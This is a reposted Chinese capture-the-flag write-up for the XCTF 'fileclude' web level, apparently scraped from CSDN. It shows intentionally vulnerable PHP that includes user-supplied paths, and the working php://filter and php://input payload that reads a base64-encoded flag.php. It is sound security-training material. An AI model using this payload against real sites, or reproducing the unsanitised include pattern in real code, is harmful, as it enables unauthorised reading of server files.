首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

攻防世界 - Web - Level 1 | fileclude

  • 25-02-16 18:00
  • 4337
  • 5522
blog.csdn.net

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客

0x01:考点速览

本关考察的是 PHP 文件包含漏洞与 PHP 伪协议,需要知道以下知识点:

  • php://filter 伪协议的用法(这个经常用,一般只使用 Base64 与特殊编码集绕过)

  • php://input 伪协议的用户

    • 该协议可以访问请求的原始数据的只读流,即 POST 请求中的请求体部分的内容。

    • 需要注意的是,当 enctype="multipart/form-data" 的时侯,php://input 是无效的。

0x02:Write UP

进入靶场,展示的是一个文件包含漏洞的相关代码,其接收两个参数,对应上述两个知识点:

  1.    
  2.  include("flag.php");  
  3.  highlight_file(__FILE__);  
  4.  if(isset($_GET["file1"]) && isset($_GET["file2"]))  
  5.  {    
  6.      $file1 = $_GET["file1"];    
  7.      $file2 = $_GET["file2"];  
  8.      if(!empty($file1) && !empty($file2))  
  9.      {  
  10.          if(file_get_contents($file2) === "hello ctf")  
  11.          {  
  12.              include($file1);  
  13.          }  
  14.      }  
  15.      else  
  16.          die("NONONO");  
  17.  }

首先分析代码,它包含了 flag.php 文件,但是你查看源码你肯定是没找到 Flag 的,说明 Flag 被注释掉了。要想拿到 Flag 必须对 flag.php 文件进行编码后读取。

而我们能控制的 include() 只有一个位置,其接收参数为 $file1,所以很明显:

  1.  // 包含 flag.php 文件,并对该文件进行 Base64 编码操作
  2.  ?file1=php://filter/convert.base64-encode/resource=flag.php

在包含 Flag 之前,我们还需要过一关:

  1.  // 要让 $file2 的内容为 hello ctf
  2.  file_get_contents($file2) === "hello ctf"

我们要让 $file2 对应文件的内容为 hello ctf,这除非其靶场本地刚好有这么一个文件,不过我猜是没有的。既然没有,我们就只能自己传了,咋传?用 php://input 传,所以 GET 型的请求参数如下:

 ?file1=php://filter/convert.base64-encode/resource=flag.php&file2=php://input

访问上面的链接,并使用 BurpSuite 抓包,然后丢到 Repeater 中,往请求体中写入 hello ctf,这样,目标后端在执行 file_get_contents() 函数时,就会读取我们写入的 hello ctf:

将上面获得的 Base64 编码内容丢到工具中进行 Base64 解码即可拿到 Flag:

0x03:参考链接

php伪协议实现命令执行,任意文件读取_ctf php文件读取-CSDN博客该文章介绍了PHP伪协议中的file://和php://协议,以及利用data://协议实现了任意文件读取和命令执行的方法。文章还提供了具体的使用示例和注意事项。http://iyenn.com/rec/1646244.html
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/144337846"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2491) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top